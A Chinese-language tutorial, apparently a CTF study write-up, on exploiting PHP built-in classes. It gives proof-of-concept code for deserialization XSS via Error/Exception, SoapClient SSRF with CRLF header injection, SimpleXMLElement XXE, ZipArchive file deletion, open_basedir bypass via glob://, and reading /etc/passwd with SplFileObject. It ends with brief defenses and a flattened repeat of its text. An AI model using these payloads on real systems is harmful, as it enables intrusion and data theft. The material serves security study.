浅析php原生类
字数 1244 2025-08-29 08:32:18

PHP原生类在安全测试中的应用详解

一、PHP原生类概述

PHP原生类是指PHP内置的标准类库,在CTF和安全测试中可以利用这些类实现多种攻击手法,包括XSS、反序列化、SSRF、XXE和文件读取等。本文将详细介绍这些利用方式。

二、常见可利用的原生类

1. Error/Exception类 - XSS利用

Error类(XSS)

  • 适用环境: PHP7版本,开启报错的情况下
  • 利用原理: Error类内置__toString()方法,可用于反序列化XSS
// 测试代码
$a = unserialize($_GET['name']);
echo $a;

// POC生成
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);

Exception类(XSS)

  • 适用环境: PHP5、PHP7版本,开启报错的情况下
  • 利用方式:
// 测试代码
$a = unserialize($_GET['name']);
echo $a;

// POC生成
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);

2. SoapClient类 - SSRF利用

基本特性

  • 适用版本: PHP5, PHP7, PHP8
  • 功能: 专门用来访问web服务的类
  • 关键方法: __call方法被触发后可发送HTTP/HTTPS请求

构造函数

public SoapClient::SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数设为null表示非wsdl模式
  • 非wsdl模式下必须设置location和uri选项

实战案例(Web259)

// 目标代码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

// POC构造
$ua = "z3eyond\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array(
    'uri' => 'http://127.0.0.1/',
    'location' => 'http://127.0.0.1/flag.php',
    'user_agent' => $ua
));
print_r(urlencode(serialize($client)));

3. SimpleXMLElement类 - XXE利用

基本特性

  • 适用版本: PHP5, PHP7, PHP8
  • 功能: 用于解析XML文档中的元素

关键参数

SimpleXMLElement::__construct(
    string $data,
    int $options = 0,
    bool $data_is_url = false,
    string $namespace_or_prefix = "",
    bool $is_prefix = false
)
  • 设置$data_is_url为true可实现远程XML文件载入
  • $options参数设置为2

实战案例([SUCTF 2018]Homework)

// 利用方式
$xml = new SimpleXMLElement($payload, 2, true);

4. ZipArchive类 - 文件删除

基本特性

  • 适用环境: PHP5 >= 5.2.0, PHP7, PHP8, PECL zip >= 1.1.0
  • 关键方法:
    • ZipArchive::OVERWRITE(值为8): 覆盖或删除现有文件
    • ZipArchive::open(): 打开zip存档

实战案例

// 删除waf.txt的POC
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($poc));

三、文件操作类

1. 文件目录遍历类

DirectoryIterator类

// 基本用法
$dir = new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
}

// 绕过open_basedir
$dir = new DirectoryIterator("glob:///*");
foreach($dir as $f){
    echo($f.'<br>');
}

FilesystemIterator类

$iterator = new FilesystemIterator("/");
foreach($iterator as $fileinfo){
    echo $fileinfo->getFilename()."<br>";
}

GlobIterator类

$iterator = new GlobIterator("/*");
foreach($iterator as $fileinfo){
    echo $fileinfo->getFilename()."<br>";
}

2. 文件读取类

SplFileObject类

$file = new SplFileObject("/etc/passwd");
foreach($file as $line){
    echo $line;
}

四、反射类

ReflectionMethod类

// 获取类方法信息
$reflection = new ReflectionMethod('ClassName', 'methodName');
echo $reflection;

五、其他有用原生类

1. 日期时间类

  • DateTime
  • DateTimeImmutable
  • DateTimeZone
  • DateInterval
  • DatePeriod

2. SPL库类

  • SplFileInfo
  • SplTempFileObject
  • SplFixedArray

3. 数据库相关类

  • PDO
  • PDOStatement
  • mysqli_sql_exception

六、防御措施

  1. 禁用不必要的PHP扩展
  2. 严格过滤反序列化输入
  3. 设置合理的open_basedir限制
  4. 关闭不必要的错误显示
  5. 对用户输入进行严格过滤

七、参考资源

  1. PHP SPL标准库手册
  2. PHP原生类在CTF中的利用

通过深入理解这些PHP原生类的特性和利用方式,可以在安全测试和CTF比赛中更有效地发现和利用漏洞。

PHP原生类在安全测试中的应用详解 一、PHP原生类概述 PHP原生类是指PHP内置的标准类库,在CTF和安全测试中可以利用这些类实现多种攻击手法,包括XSS、反序列化、SSRF、XXE和文件读取等。本文将详细介绍这些利用方式。 二、常见可利用的原生类 1. Error/Exception类 - XSS利用 Error类(XSS) 适用环境 : PHP7版本,开启报错的情况下 利用原理 : Error类内置 __toString() 方法,可用于反序列化XSS Exception类(XSS) 适用环境 : PHP5、PHP7版本,开启报错的情况下 利用方式 : 2. SoapClient类 - SSRF利用 基本特性 适用版本 : PHP5, PHP7, PHP8 功能 : 专门用来访问web服务的类 关键方法 : __call 方法被触发后可发送HTTP/HTTPS请求 构造函数 第一个参数设为null表示非wsdl模式 非wsdl模式下必须设置location和uri选项 实战案例(Web259) 3. SimpleXMLElement类 - XXE利用 基本特性 适用版本 : PHP5, PHP7, PHP8 功能 : 用于解析XML文档中的元素 关键参数 设置 $data_is_url 为true可实现远程XML文件载入 $options 参数设置为2 实战案例([ SUCTF 2018 ]Homework) 4. ZipArchive类 - 文件删除 基本特性 适用环境 : PHP5 >= 5.2.0, PHP7, PHP8, PECL zip >= 1.1.0 关键方法 : ZipArchive::OVERWRITE (值为8): 覆盖或删除现有文件 ZipArchive::open() : 打开zip存档 实战案例 三、文件操作类 1. 文件目录遍历类 DirectoryIterator类 FilesystemIterator类 GlobIterator类 2. 文件读取类 SplFileObject类 四、反射类 ReflectionMethod类 五、其他有用原生类 1. 日期时间类 DateTime DateTimeImmutable DateTimeZone DateInterval DatePeriod 2. SPL库类 SplFileInfo SplTempFileObject SplFixedArray 3. 数据库相关类 PDO PDOStatement mysqli_ sql_ exception 六、防御措施 禁用不必要的PHP扩展 严格过滤反序列化输入 设置合理的open_ basedir限制 关闭不必要的错误显示 对用户输入进行严格过滤 七、参考资源 PHP SPL标准库手册 PHP原生类在CTF中的利用 通过深入理解这些PHP原生类的特性和利用方式,可以在安全测试和CTF比赛中更有效地发现和利用漏洞。